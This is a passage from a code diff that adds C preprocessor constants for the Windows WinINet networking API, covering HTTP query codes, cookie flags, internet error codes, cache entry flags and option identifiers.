HTTP_QUERY_SERVER 0x25 +#define HTTP_QUERY_TITLE 0x26 +#define HTTP_QUERY_USER_AGENT 0x27 +#define HTTP_QUERY_WWW_AUTHENTICATE 0x28 +#define HTTP_QUERY_PROXY_AUTHENTICATE 0x29 +#define HTTP_QUERY_ACCEPT_RANGES 0x2a +#define HTTP_QUERY_SET_COOKIE 0x2b +#define HTTP_QUERY_COOKIE 0x2c +#define HTTP_QUERY_REQUEST_METHOD 0x2d +#define HTTP_QUERY_REFRESH 0x2e +#define HTTP_QUERY_CONTENT_DISPOSITION 0x2f +#define HTTP_QUERY_AGE 0x30 +#define HTTP_QUERY_CACHE_CONTROL 0x31 +#define HTTP_QUERY_CONTENT_BASE 0x32 +#define HTTP_QUERY_CONTENT_LOCATION 0x33 +#define HTTP_QUERY_CONTENT_MD5 0x34 +#define HTTP_QUERY_CONTENT_RANGE 0x35 +#define HTTP_QUERY_ETAG 0x36 +#define HTTP_QUERY_HOST 0x37 +#define HTTP_QUERY_IF_MATCH 0x38 +#define HTTP_QUERY_IF_NONE_MATCH 0x39 +#define HTTP_QUERY_IF_RANGE 0x3a +#define HTTP_QUERY_IF_UNMODIFIED_SINCE 0x3b +#define HTTP_QUERY_MAX_FORWARDS 0x3c +#define HTTP_QUERY_PROXY_AUTHORIZATION 0x3d +#define HTTP_QUERY_RANGE 0x3e +#define HTTP_QUERY_TRANSFER_ENCODING 0x3f +#define HTTP_QUERY_UPGRADE 0x40 +#define HTTP_QUERY_VARY 0x41 +#define HTTP_QUERY_VIA 0x42 +#define HTTP_QUERY_WARNING 0x43 +#define HTTP_QUERY_EXPECT 0x44 +#define HTTP_QUERY_PROXY_CONNECTION 0x45 +#define HTTP_QUERY_UNLESS_MODIFIED_SINCE 0x46 +#define HTTP_QUERY_ECHO_REQUEST 0x47 +#define HTTP_QUERY_ECHO_REPLY 0x48 +#define HTTP_QUERY_ECHO_HEADERS 0x49 +#define HTTP_QUERY_ECHO_HEADERS_CRLF 0x4a +#define HTTP_QUERY_PROXY_SUPPORT 0x4b +#define HTTP_QUERY_AUTHENTICATION_INFO 0x4c +#define HTTP_QUERY_PASSPORT_URLS 0x4d +#define HTTP_QUERY_PASSPORT_CONFIG 0x4e +#define HTTP_QUERY_X_CONTENT_TYPE_OPTIONS 0x4f +#define HTTP_QUERY_P3P 0x50 +#define HTTP_QUERY_X_P2P_PEERDIST 0x51 +#define HTTP_QUERY_TRANSLATE 0x52 +#define HTTP_QUERY_X_UA_COMPATIBLE 0x53 +#define HTTP_QUERY_DEFAULT_STYLE 0x54 +#define HTTP_QUERY_X_FRAME_OPTIONS 0x55 +#define HTTP_QUERY_X_XSS_PROTECTION 0x56 +#define HTTP_QUERY_SET_COOKIE2 0x57 +#define HTTP_QUERY_DO_NOT_TRACK 0x58 +#define HTTP_QUERY_KEEP_ALIVE 0x59 +#define HTTP_QUERY_HTTP2_SETTINGS 0x5a +#define HTTP_QUERY_STRICT_TRANSPORT_SECURITY 0x5b +#define HTTP_QUERY_TOKEN_BINDING 0x5c +#define HTTP_QUERY_INCLUDE_REFERRED_TOKEN_BINDING_ID 0x5d +#define HTTP_QUERY_INCLUDE_REFERER_TOKEN_BINDING_ID 0x5d +#define HTTP_QUERY_PUBLIC_KEY_PINS 0x5e +#define HTTP_QUERY_PUBLIC_KEY_PINS_REPORT_ONLY 0x5f +#define HTTP_QUERY_MAX 0x5f +#define HTTP_QUERY_CUSTOM 0xffff +#define HTTP_QUERY_FLAG_REQUEST_HEADERS 0x80000000 +#define HTTP_QUERY_FLAG_SYSTEMTIME 0x40000000 +#define HTTP_QUERY_FLAG_NUMBER 0x20000000 +#define HTTP_QUERY_FLAG_COALESCE 0x10000000 +#define HTTP_QUERY_FLAG_NUMBER64 0x8000000 +#define HTTP_QUERY_FLAG_COALESCE_WITH_COMMA 0x4000000 +#define HTTP_STATUS_MISDIRECTED_REQUEST 0x1a5 +#define HTTP_ADDREQ_INDEX_MASK 0xffff +#define HTTP_ADDREQ_FLAGS_MASK 0xffff0000 +#define HSR_ASYNC 0x1 +#define HSR_SYNC 0x4 +#define HSR_USE_CONTEXT 0x8 +#define HSR_INITIATE 0x8 +#define HSR_DOWNLOAD 0x10 +#define HSR_CHUNKED 0x20 +#define INTERNET_COOKIE_IS_SECURE 0x1 +#define INTERNET_COOKIE_IS_SESSION 0x2 +#define INTERNET_COOKIE_PROMPT_REQUIRED 0x20 +#define INTERNET_COOKIE_EVALUATE_P3P 0x40 +#define INTERNET_COOKIE_APPLY_P3P 0x80 +#define INTERNET_COOKIE_P3P_ENABLED 0x100 +#define INTERNET_COOKIE_IS_RESTRICTED 0x200 +#define INTERNET_COOKIE_IE6 0x400 +#define INTERNET_COOKIE_IS_LEGACY 0x800 +#define INTERNET_COOKIE_NON_SCRIPT 0x1000 +#define INTERNET_COOKIE_HOST_ONLY 0x4000 +#define INTERNET_COOKIE_APPLY_HOST_ONLY 0x8000 +#define INTERNET_COOKIE_HOST_ONLY_APPLIED 0x80000 +#define INTERNET_COOKIE_SAME_SITE_STRICT 0x100000 +#define INTERNET_COOKIE_SAME_SITE_LAX 0x200000 +#define INTERNET_COOKIE_SAME_SITE_LEVEL_CROSS_SITE 0x400000 +#define FLAG_ICC_FORCE_CONNECTION 0x1 +#define FLAGS_ERROR_UI_FILTER_FOR_ERRORS 0x1 +#define FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS 0x2 +#define FLAGS_ERROR_UI_FLAGS_GENERATE_DATA 0x4 +#define FLAGS_ERROR_UI_FLAGS_NO_UI 0x8 +#define FLAGS_ERROR_UI_SERIALIZE_DIALOGS 0x10 +#define INTERNET_ERROR_BASE 0x2ee0 +#define ERROR_INTERNET_OUT_OF_HANDLES 0x2ee1 +#define ERROR_INTERNET_TIMEOUT 0x2ee2 +#define ERROR_INTERNET_EXTENDED_ERROR 0x2ee3 +#define ERROR_INTERNET_INTERNAL_ERROR 0x2ee4 +#define ERROR_INTERNET_INVALID_URL 0x2ee5 +#define ERROR_INTERNET_UNRECOGNIZED_SCHEME 0x2ee6 +#define ERROR_INTERNET_NAME_NOT_RESOLVED 0x2ee7 +#define ERROR_INTERNET_PROTOCOL_NOT_FOUND 0x2ee8 +#define ERROR_INTERNET_INVALID_OPTION 0x2ee9 +#define ERROR_INTERNET_BAD_OPTION_LENGTH 0x2eea +#define ERROR_INTERNET_OPTION_NOT_SETTABLE 0x2eeb +#define ERROR_INTERNET_SHUTDOWN 0x2eec +#define ERROR_INTERNET_INCORRECT_USER_NAME 0x2eed +#define ERROR_INTERNET_INCORRECT_PASSWORD 0x2eee +#define ERROR_INTERNET_LOGIN_FAILURE 0x2eef +#define ERROR_INTERNET_INVALID_OPERATION 0x2ef0 +#define ERROR_INTERNET_OPERATION_CANCELLED 0x2ef1 +#define ERROR_INTERNET_INCORRECT_HANDLE_TYPE 0x2ef2 +#define ERROR_INTERNET_INCORRECT_HANDLE_STATE 0x2ef3 +#define ERROR_INTERNET_NOT_PROXY_REQUEST 0x2ef4 +#define ERROR_INTERNET_REGISTRY_VALUE_NOT_FOUND 0x2ef5 +#define ERROR_INTERNET_BAD_REGISTRY_PARAMETER 0x2ef6 +#define ERROR_INTERNET_NO_DIRECT_ACCESS 0x2ef7 +#define ERROR_INTERNET_NO_CONTEXT 0x2ef8 +#define ERROR_INTERNET_NO_CALLBACK 0x2ef9 +#define ERROR_INTERNET_REQUEST_PENDING 0x2efa +#define ERROR_INTERNET_INCORRECT_FORMAT 0x2efb +#define ERROR_INTERNET_ITEM_NOT_FOUND 0x2efc +#define ERROR_INTERNET_CANNOT_CONNECT 0x2efd +#define ERROR_INTERNET_CONNECTION_ABORTED 0x2efe +#define ERROR_INTERNET_CONNECTION_RESET 0x2eff +#define ERROR_INTERNET_FORCE_RETRY 0x2f00 +#define ERROR_INTERNET_INVALID_PROXY_REQUEST 0x2f01 +#define ERROR_INTERNET_NEED_UI 0x2f02 +#define ERROR_INTERNET_HANDLE_EXISTS 0x2f04 +#define ERROR_INTERNET_SEC_CERT_DATE_INVALID 0x2f05 +#define ERROR_INTERNET_SEC_CERT_CN_INVALID 0x2f06 +#define ERROR_INTERNET_HTTP_TO_HTTPS_ON_REDIR 0x2f07 +#define ERROR_INTERNET_HTTPS_TO_HTTP_ON_REDIR 0x2f08 +#define ERROR_INTERNET_MIXED_SECURITY 0x2f09 +#define ERROR_INTERNET_CHG_POST_IS_NON_SECURE 0x2f0a +#define ERROR_INTERNET_POST_IS_NON_SECURE 0x2f0b +#define ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED 0x2f0c +#define ERROR_INTERNET_INVALID_CA 0x2f0d +#define ERROR_INTERNET_CLIENT_AUTH_NOT_SETUP 0x2f0e +#define ERROR_INTERNET_ASYNC_THREAD_FAILED 0x2f0f +#define ERROR_INTERNET_REDIRECT_SCHEME_CHANGE 0x2f10 +#define ERROR_INTERNET_DIALOG_PENDING 0x2f11 +#define ERROR_INTERNET_RETRY_DIALOG 0x2f12 +#define ERROR_INTERNET_HTTPS_HTTP_SUBMIT_REDIR 0x2f14 +#define ERROR_INTERNET_INSERT_CDROM 0x2f15 +#define ERROR_INTERNET_FORTEZZA_LOGIN_NEEDED 0x2f16 +#define ERROR_INTERNET_SEC_CERT_ERRORS 0x2f17 +#define ERROR_INTERNET_SEC_CERT_NO_REV 0x2f18 +#define ERROR_INTERNET_SEC_CERT_REV_FAILED 0x2f19 +#define ERROR_HTTP_HSTS_REDIRECT_REQUIRED 0x2f1c +#define ERROR_INTERNET_SEC_CERT_WEAK_SIGNATURE 0x2f1e +#define ERROR_FTP_TRANSFER_IN_PROGRESS 0x2f4e +#define ERROR_FTP_DROPPED 0x2f4f +#define ERROR_FTP_NO_PASSIVE_MODE 0x2f50 +#define ERROR_GOPHER_PROTOCOL_ERROR 0x2f62 +#define ERROR_GOPHER_NOT_FILE 0x2f63 +#define ERROR_GOPHER_DATA_ERROR 0x2f64 +#define ERROR_GOPHER_END_OF_DATA 0x2f65 +#define ERROR_GOPHER_INVALID_LOCATOR 0x2f66 +#define ERROR_GOPHER_INCORRECT_LOCATOR_TYPE 0x2f67 +#define ERROR_GOPHER_NOT_GOPHER_PLUS 0x2f68 +#define ERROR_GOPHER_ATTRIBUTE_NOT_FOUND 0x2f69 +#define ERROR_GOPHER_UNKNOWN_LOCATOR 0x2f6a +#define ERROR_HTTP_HEADER_NOT_FOUND 0x2f76 +#define ERROR_HTTP_DOWNLEVEL_SERVER 0x2f77 +#define ERROR_HTTP_INVALID_SERVER_RESPONSE 0x2f78 +#define ERROR_HTTP_INVALID_HEADER 0x2f79 +#define ERROR_HTTP_INVALID_QUERY_REQUEST 0x2f7a +#define ERROR_HTTP_HEADER_ALREADY_EXISTS 0x2f7b +#define ERROR_HTTP_REDIRECT_FAILED 0x2f7c +#define ERROR_HTTP_NOT_REDIRECTED 0x2f80 +#define ERROR_HTTP_COOKIE_NEEDS_CONFIRMATION 0x2f81 +#define ERROR_HTTP_COOKIE_DECLINED 0x2f82 +#define ERROR_HTTP_REDIRECT_NEEDS_CONFIRMATION 0x2f88 +#define ERROR_INTERNET_SECURITY_CHANNEL_ERROR 0x2f7d +#define ERROR_INTERNET_UNABLE_TO_CACHE_FILE 0x2f7e +#define ERROR_INTERNET_TCPIP_NOT_INSTALLED 0x2f7f +#define ERROR_INTERNET_DISCONNECTED 0x2f83 +#define ERROR_INTERNET_SERVER_UNREACHABLE 0x2f84 +#define ERROR_INTERNET_PROXY_SERVER_UNREACHABLE 0x2f85 +#define ERROR_INTERNET_BAD_AUTO_PROXY_SCRIPT 0x2f86 +#define ERROR_INTERNET_UNABLE_TO_DOWNLOAD_SCRIPT 0x2f87 +#define ERROR_INTERNET_SEC_INVALID_CERT 0x2f89 +#define ERROR_INTERNET_SEC_CERT_REVOKED 0x2f8a +#define ERROR_INTERNET_FAILED_DUETOSECURITYCHECK 0x2f8b +#define ERROR_INTERNET_NOT_INITIALIZED 0x2f8c +#define ERROR_INTERNET_NEED_MSN_SSPI_PKG 0x2f8d +#define ERROR_INTERNET_LOGIN_FAILURE_DISPLAY_ENTITY_BODY 0x2f8e +#define ERROR_INTERNET_DECODING_FAILED 0x2f8f +#define ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED_PROXY 0x2f9b +#define ERROR_INTERNET_SECURE_FAILURE_PROXY 0x2f9c +#define ERROR_INTERNET_HTTP_PROTOCOL_MISMATCH 0x2f9e +#define ERROR_INTERNET_GLOBAL_CALLBACK_FAILED 0x2f9f +#define ERROR_INTERNET_FEATURE_DISABLED 0x2fa0 +#define INTERNET_ERROR_LAST 0x2fa0 +#define NORMAL_CACHE_ENTRY 0x1 +#define STICKY_CACHE_ENTRY 0x4 +#define EDITED_CACHE_ENTRY 0x8 +#define TRACK_OFFLINE_CACHE_ENTRY 0x10 +#define TRACK_ONLINE_CACHE_ENTRY 0x20 +#define SPARSE_CACHE_ENTRY 0x10000 +#define COOKIE_CACHE_ENTRY 0x100000 +#define URLHISTORY_CACHE_ENTRY 0x200000 +#define CACHEGROUP_ATTRIBUTE_GET_ALL 0xffffffff +#define CACHEGROUP_ATTRIBUTE_BASIC 0x1 +#define CACHEGROUP_ATTRIBUTE_FLAG 0x2 +#define CACHEGROUP_ATTRIBUTE_TYPE 0x4 +#define CACHEGROUP_ATTRIBUTE_QUOTA 0x8 +#define CACHEGROUP_ATTRIBUTE_GROUPNAME 0x10 +#define CACHEGROUP_ATTRIBUTE_STORAGE 0x20 +#define CACHEGROUP_FLAG_NONPURGEABLE 0x1 +#define CACHEGROUP_FLAG_GIDONLY 0x4 +#define CACHEGROUP_FLAG_FLUSHURL_ONDELETE 0x2 +#define CACHEGROUP_SEARCH_ALL 0x0 +#define CACHEGROUP_SEARCH_BYURL 0x1 +#define CACHEGROUP_TYPE_INVALID 0x1 +#define GROUPNAME_MAX_LENGTH 0x78 +#define GROUP_OWNER_STORAGE_SIZE 0x4 +#define CACHE_ENTRY_ATTRIBUTE_FC 0x4 +#define CACHE_ENTRY_HITRATE_FC 0x10 +#define CACHE_ENTRY_MODTIME_FC 0x40 +#define CACHE_ENTRY_EXPTIME_FC 0x80 +#define CACHE_ENTRY_ACCTIME_FC 0x100 +#define CACHE_ENTRY_SYNCTIME_FC 0x200 +#define CACHE_ENTRY_HEADERINFO_FC 0x400 +#define CACHE_ENTRY_EXEMPT_DELTA_FC 0x800 +#define INTERNET_CACHE_GROUP_ADD 0x0 +#define INTERNET_CACHE_GROUP_REMOVE 0x1 +#define INTERNET_DIAL_FORCE_PROMPT 0x2000 +#define INTERNET_DIAL_SHOW_OFFLINE 0x4000 +#define INTERNET_DIAL_UNATTENDED 0x8000 +#define INTERENT_GOONLINE_REFRESH 0x1 +#define INTERENT_GOONLINE_NOPROMPT 0x2 +#define INTERENT_GOONLINE_MASK 0x3 +#define INTERNET_CUSTOMDIAL_CONNECT 0x0 +#define INTERNET_CUSTOMDIAL_UNATTENDED 0x1 +#define INTERNET_CUSTOMDIAL_DISCONNECT 0x2 +#define INTERNET_CUSTOMDIAL_SHOWOFFLINE 0x4 +#define INTERNET_CUSTOMDIAL_SAFE_FOR_UNATTENDED 0x1 +#define INTERNET_CUSTOMDIAL_WILL_SUPPLY_STATE 0x2 +#define INTERNET_CUSTOMDIAL_CAN_HANGUP 0x4 +#define INTERNET_DIALSTATE_DISCONNECTED 0x1 +#define INTERNET_IDENTITY_FLAG_PRIVATE_CACHE 0x1 +#define INTERNET_IDENTITY_FLAG_SHARED_CACHE 0x2 +#define INTERNET_IDENTITY_FLAG_CLEAR_DATA 0x4 +#define INTERNET_IDENTITY_FLAG_CLEAR_COOKIES 0x8 +#define INTERNET_IDENTITY_FLAG_CLEAR_HISTORY 0x10 +#define INTERNET_IDENTITY_FLAG_CLEAR_CONTENT 0x20 +#define INTERNET_SUPPRESS_RESET_ALL 0x0 +#define INTERNET_SUPPRESS_COOKIE_POLICY 0x1 +#define INTERNET_SUPPRESS_COOKIE_POLICY_RESET 0x2 +#define PRIVACY_TEMPLATE_NO_COOKIES 0x0 +#define PRIVACY_TEMPLATE_HIGH 0x1 +#define PRIVACY_TEMPLATE_MEDIUM_HIGH 0x2 +#define PRIVACY_TEMPLATE_MEDIUM 0x3 +#define PRIVACY_TEMPLATE_MEDIUM_LOW 0x4 +#define PRIVACY_TEMPLATE_LOW 0x5 +#define PRIVACY_TEMPLATE_CUSTOM 0x64 +#define PRIVACY_TEMPLATE_ADVANCED 0x65 +#define PRIVACY_TEMPLATE_MAX 0x5 +#define PRIVACY_TYPE_FIRST_PARTY 0x0 +#define PRIVACY_TYPE_THIRD_PARTY 0x1 +#define MAX_CACHE_ENTRY_INFO_SIZE 0x1000 +#define INTERNET_REQFLAG_FROM_APP_CACHE 0x100 +#define INTERNET_FLAG_BGUPDATE 0x8 +#define INTERNET_FLAG_FTP_FOLDER_VIEW 0x4 +#define INTERNET_PREFETCH_PROGRESS 0x0 +#define INTERNET_PREFETCH_COMPLETE 0x1 +#define INTERNET_PREFETCH_ABORTED 0x2 +#define ISO_FORCE_OFFLINE 0x1 +#define DLG_FLAGS_INVALID_CA 0x1000000 +#define DLG_FLAGS_SEC_CERT_CN_INVALID 0x2000000 +#define DLG_FLAGS_SEC_CERT_DATE_INVALID 0x4000000 +#define DLG_FLAGS_WEAK_SIGNATURE 0x200000 +#define DLG_FLAGS_INSECURE_FALLBACK 0x400000 +#define DLG_FLAGS_SEC_CERT_REV_FAILED 0x800000 +#define INTERNET_SERVICE_URL 0x0 +#define INTERNET_OPTION_CONTEXT_VALUE_OLD 0xa +#define INTERNET_OPTION_NET_SPEED 0x3d +#define INTERNET_OPTION_SECURITY_CONNECTION_INFO 0x42 +#define INTERNET_OPTION_DETECT_POST_SEND 0x47 +#define INTERNET_OPTION_DISABLE_NTLM_PREAUTH 0x48 +#define INTERNET_OPTION_ORIGINAL_CONNECT_FLAGS 0x61 +#define INTERNET_OPTION_CERT_ERROR_FLAGS 0x62 +#define INTERNET_OPTION_IGNORE_CERT_ERROR_FLAGS 0x63 +#define INTERNET_OPTION_SESSION_START_TIME 0x6a +#define INTERNET_OPTION_PROXY_CREDENTIALS 0x6b +#define INTERNET_OPTION_EXTENDED_CALLBACKS 0x6c +#define INTERNET_OPTION_PROXY_FROM_REQUEST 0x6d +#define INTERNET_OPTION_ALLOW_FAILED_CONNECT_CONTENT 0x6e +#define INTERNET_OPTION_CACHE_PARTITION 0x6f +#define INTERNET_OPTION_AUTODIAL_HWND 0x70 +#define INTERNET_OPTION_SERVER_CREDENTIALS 0x71 +#define INTERNET_OPTION_WPAD_SLEEP 0x72 +#define INTERNET_OPTION_FAIL_ON_CACHE_WRITE_ERROR 0x73 +#define INTERNET_OPTION_DOWNLOAD_MODE 0x74 +#define INTERNET_OPTION_RESPONSE_RESUMABLE 0x75 +#define INTERNET_OPTION_CM_HANDLE_COPY_REF 0x76 +#define INTERNET_OPTION_CONNECTION_INFO 0x78 +#define INTERNET_OPTION_BACKGROUND_CONNECTIONS 0x79 +#define INTERNET_OPTION_DO_NOT_TRACK 0x7b +#define INTERNET_OPTION_USE_MODIFIED_HEADER_FILTER 0x7c +#define INTERNET_OPTION_WWA_MODE 0x7d +#define INTERNET_OPTION_UPGRADE_TO_WEB_SOCKET 0x7e +#define INTERNET_OPTION_WEB_SOCKET_KEEPALIVE_INTERVAL 0x7f +#define INTERNET_OPTION_UNLOAD_NOTIFY_EVENT 0x80 +#define INTERNET_OPTION_SOCKET_NODELAY 0x81 +#define INTERNET_OPTION_APP_CACHE 0x82 +#define INTERNET_OPTION_DEPENDENCY_HANDLE 0x83 +#define INTERNET_OPTION_USE_FIRST_AVAILABLE_CONNECTION 0x84 +#define INTERNET_OPTION_TIMED_CONNECTION_LIMIT_BYPASS 0x85 +#define INTERNET_OPTION_WEB_SOCKET_CLOSE_TIMEOUT 0x86 +#define INTERNET_OPTION_FLUSH_STATE 0x87 +#define INTERNET_OPTION_DISALLOW_PREMATURE_EOF 0x89 +#define INTERNET_OPTION_SOCKET_NOTIFICATION_IOCTL 0x8a +#define INTERNET_OPTION_CACHE_ENTRY_EXTRA_DATA 0x8b +#define INTERNET_OPTION_MAX_QUERY_BUFFER_SIZE 0x8c +#define INTERNET_OPTION_FALSE_START 0x8d +#define INTERNET_OPTION_USER_PASS_SERVER_ONLY 0x8e +#define INTERNET_OPTION_SERVER_AUTH_SCHEME 0x8f +#define INTERNET_OPTION_PROXY_AUTH_SCHEME 0x90 +#define INTERNET_OPTION_TUNNEL_ONLY 0x91 +#define INTERNET_OPTION_SOURCE_PORT 0x92 +#define INTERNET_OPTION_ENABLE_DUO 0x94 +#define INTERNET_OPTION_DUO_USED 0x95 +#define INTERNET_OPTION_CHUNK_ENCODE_REQUEST 0x96 +#define INTERNET_OPTION_SECURE_FAILURE 0x97 +#define INTERNET_OPTION_NOTIFY_SENDING_COOKIE 0x98 +#define INTERNET_OPTION_CLIENT_CERT_ISSUER_LIST 0x99 +#define INTERNET_OPTION_RESET 0x9a +#define INTERNET_OPTION_SERVER_ADDRESS_INFO 0x9c +#define INTERNET_OPTION_ENABLE_WBOEXT 0x9e +#define INTERNET_OPTION_DISABLE_INSECURE_FALLBACK 0xa0 +#define INTERNET_OPTION_ALLOW_INSECURE_FALLBACK 0xa1 +#define INTERNET_OPTION_SET_IN_PRIVATE 0xa4 +#define INTERNET_OPTION_DOWNLOAD_MODE_HANDLE 0xa5 +#define INTERNET_OPTION_EDGE_COOKIES 0xa6 +#define INTERNET_OPTION_NO_HTTP_SERVER_AUTH 0xa7 +#define INTERNET_OPTION_ENABLE_HEADER_CALLBACKS 0xa8 +#define INTERNET_OPTION_PRESERVE_REQUEST_SERVER_CREDENTIALS_ON_REDIRECT 0xa9 +#define INTERNET_OPTION_PRESERVE_REFERER_ON_HTTPS_TO_HTTP_REDIRECT 0xaa +#define INTERNET_OPTION_TCP_FAST_OPEN 0xab +#define INTERNET_OPTION_SYNC_MODE_AUTOMATIC_SESSION_DISABLED 0xac +#define INTERNET_OPTION_ENABLE_ZLIB_DEFLATE 0xad +#define INTERNET_OPTION_ENCODE_FALLBACK_FOR_REDIRECT_URI 0xae +#define INTERNET_OPTION_EDGE_COOKIES_TEMP 0xaf +#define INTERNET_OPTION_OPT_IN_WEAK_SIGNATURE 0xb0 +#define INTERNET_OPTION_PARSE_LINE_FOLDING 0xb1 +#define INTERNET_OPTION_FORCE_DECODE 0xb2 +#define INTERNET_OPTION_COOKIES_APPLY_HOST_ONLY 0xb3 +#define INTERNET_OPTION_EDGE_MODE 0xb4 +#define INTERNET_OPTION_CANCEL_CACHE_WRITE 0xb6 +#define INTERNET_OPTION_AUTH_SCHEME_SELECTED 0xb7 +#define INTERNET_OPTION_NOCACHE_WRITE_IN_PRIVATE 0xb8 +#define INTERNET_OPTION_ACTIVITY_ID 0xb9 +#define INTERNET_OPTION_REQUEST_TIMES 0xba +#define INTERNET_OPTION_GLOBAL_CALLBACK 0xbc +#define INTERNET_OPTION_ENABLE_TEST_SIGNING 0xbd +#define INTERNET_OPTION_DISABLE_PROXY_LINK_LOCAL_NAME_RESOLUTION 0xbe +#define INTERNET_OPTION_HTTP_09 0xbf +#define INTERNET_OPTION_CALLER_MODULE 0xc0 +#define INTERNET_LAST_OPTION_INTERNAL 0xc1 +#define INTERNET_OPTION_OFFLINE_TIMEOUT 0x31 +#define INTERNET_OPTION_LINE_STATE 0x32 +#define DUO_PROTOCOL_FLAG_SPDY3 0x1 +#define DUO_PROTOCOL_MASK 0x1 +#define AUTH_FLAG_RESET 0x0 +#define INTERNET_AUTH_SCHEME_BASIC 0x0 +#define INTERNET_AUTH_SCHEME_DIGEST 0x1 +#define INTERNET_AUTH_SCHEME_NTLM 0x2 +#define INTERNET_AUTH_SCHEME_KERBEROS 0x3 +#define INTERNET_AUTH_SCHEME_NEGOTIATE 0x4 +#define INTERNET_AUTH_SCHEME_PASSPORT 0x5 +#define INTERNET_AUTH_SCHEME_UNKNOWN 0x6 +#define INTERNET_STATUS_SENDING_COOKIE 0x148 +#define INTERNET_STATUS_REQUEST_HEADERS_SET 0x149 +#define INTERNET_STATUS_RESPONSE_HEADERS_SET 0x14a +#define INTERNET_STATUS_PROXY_CREDENTIALS 0x190 +#define INTERNET_STATUS_SERVER_CREDENTIALS 0x191 +#define INTERNET_STATUS_SERVER_CONNECTION_STATE 0x19a +#define INTERNET_STATUS_END_BROWSER_SESSION 0x1a4 +#define INTERNET_STATUS_COOKIE 0x1ae +#define COOKIE_STATE_LB 0x0 +#define COOKIE_STATE_UB 0x5 +#define MaxPrivacySettings 0x4000 +#define INTERNET_STATUS_FILTER_RESOLVING 0x1 +#define INTERNET_STATUS_FILTER_RESOLVED 0x2 +#define INTERNET_STATUS_FILTER_CONNECTING 0x4 +#define INTERNET_STATUS_FILTER_CONNECTED 0x8 +#define INTERNET_STATUS_FILTER_SENDING 0x10 +#define INTERNET_STATUS_FILTER_SENT 0x20 +#define INTERNET_STATUS_FILTER_RECEIVING 0x40 +#define INTERNET_STATUS_FILTER_RECEIVED 0x80 +#define INTERNET_STATUS_FILTER_CLOSING 0x100 +#define INTERNET_STATUS_FILTER_CLOSED 0x200 +#define INTERNET_STATUS_FILTER_HANDLE_CREATED 0x400 +#define INTERNET_STATUS_FILTER_HANDLE_CLOSING 0x800 +#define INTERNET_STATUS_FILTER_PREFETCH 0x1000 +#define INTERNET_STATUS_FILTER_REDIRECT 0x2000 +#define INTERNET_STATUS_FILTER_STATE_CHANGE 0x4000 +#define HTTP_ADDREQ_FLAG_RESPONSE_HEADERS 0x2000000 +#define HTTP_ADDREQ_FLAG_ALLOW_EMPTY_VALUES 0x4000000 +#define COOKIE_DONT_ALLOW 0x1 +#define COOKIE_ALLOW 0x2 +#define COOKIE_ALLOW_ALL 0x4 +#define COOKIE_DONT_ALLOW_ALL 0x8 +#define COOKIE_OP_SET 0x1 +#define COOKIE_OP_MODIFY 0x2 +#define COOKIE_OP_GET 0x4 +#define COOKIE_OP_SESSION 0x8 +#define COOKIE_OP_PERSISTENT 0x10 +#define COOKIE_OP_3RD_PARTY 0x20 +#define INTERNET_COOKIE_PERSISTENT_HOST_ONLY 0x10000 +#define INTERNET_COOKIE_RESTRICTED_ZONE 0x20000 +#define INTERNET_COOKIE_EDGE_COOKIES 0x40000 +#define INTERNET_COOKIE_ALL_COOKIES 0x20000000 +#define INTERNET_COOKIE_NO_CALLBACK 0x40000000 +#define INTERNET_COOKIE_ECTX_3RDPARTY 0x80000000 +#define FLAGS_ERROR_UI_SHOW_IDN_HOSTNAME 0x20 +#define ERROR_INTERNET_NO_NEW_CONTAINERS 0x2f13 +#define ERROR_INTERNET_SOURCE_PORT_IN_USE 0x2f1a +#define ERROR_INTERNET_INSECURE_FALLBACK_REQUIRED 0x2f1b +#define ERROR_INTERNET_PROXY_ALERT 0x2f1d +#define ERROR_INTERNET_NO_CM_CONNECTION 0x2f30 +#define ERROR_HTTP_PUSH_STATUS_CODE_NOT_SUPPORTED 0x2f73 +#define ERROR_HTTP_PUSH_RETRY_NOT_SUPPORTED 0x2f74 +#define ERROR_HTTP_PUSH_ENABLE_FAILED 0x2f75 +#define ERROR_INTERNET_DISALLOW_INPRIVATE 0x2f9d +#define ERROR_INTERNET_OFFLINE 0x2f83 +#define INTERNET_INTERNAL_ERROR_BASE 0x3264 +#define ERROR_INTERNET_INTERNAL_SOCKET_ERROR 0x3265 +#define ERROR_INTERNET_CONNECTION_AVAILABLE 0x3266 +#define ERROR_INTERNET_NO_KNOWN_SERVERS 0x3267 +#define ERROR_INTERNET_PING_FAILED 0x3268 +#define ERROR_INTERNET_NO_PING_SUPPORT 0x3269 +#define ERROR_INTERNET_CACHE_SUCCESS 0x326a +#define ERROR_HTTP_COOKIE_NEEDS_CONFIRMATION_EX 0x326b +#define HTTP_1_1_CACHE_ENTRY 0x40 +#define STATIC_CACHE_ENTRY 0x80 +#define MUST_REVALIDATE_CACHE_ENTRY 0x100 +#define SHORTPATH_CACHE_ENTRY 0x200 +#define DOWNLOAD_CACHE_ENTRY 0x400 +#define REDIRECT_CACHE_ENTRY 0x800 +#define COOKIE_ACCEPTED_CACHE_ENTRY 0x1000 +#define COOKIE_LEASHED_CACHE_ENTRY 0x2000 +#define COOKIE_DOWNGRADED_CACHE_ENTRY 0x4000 +#define COOKIE_REJECTED_CACHE_ENTRY 0x8000 +#define PRIVACY_MODE_CACHE_ENTRY 0x20000 +#define XDR_CACHE_ENTRY 0x40000 +#define IMMUTABLE_CACHE_ENTRY 0x80000 +#define PENDING_DELETE_CACHE_ENTRY 0x400000 +#define OTHER_USER_CACHE_ENTRY 0x800000 +#define PRIVACY_IMPACTED_CACHE_ENTRY 0x2000000 +#define POST_RESPONSE_CACHE_ENTRY 0x4000000 +#define INSTALLED_CACHE_ENTRY 0x10000000 +#define POST_CHECK_CACHE_ENTRY 0x20000000 +#define IDENTITY_CACHE_ENTRY 0x80000000 +#define ANY_CACHE_ENTRY 0xffffffff +#define CACHEGROUP_FLAG_VALID 0x7 +#define CACHEGROUP_ID_BUILTIN_STICKY 0x1000000000000007 +#define INTERNET_CACHE_FLAG_ALLOW_COLLISIONS 0x100 +#define INTERNET_CACHE_FLAG_INSTALLED_ENTRY 0x200 +#define INTERNET_CACHE_FLAG_ENTRY_OR_MAPPING 0x400 +#define INTERNET_CACHE_FLAG_ADD_FILENAME_ONLY 0x800 +#define INTERNET_CACHE_FLAG_GET_STRUCT_ONLY 0x1000 +#define CACHE_ENTRY_TYPE_FC 0x1000 +#define CACHE_ENTRY_MODIFY_DATA_FC 0x80000000 +#define INTERNET_CACHE_CONTAINER_NOSUBDIRS 0x1 +#define 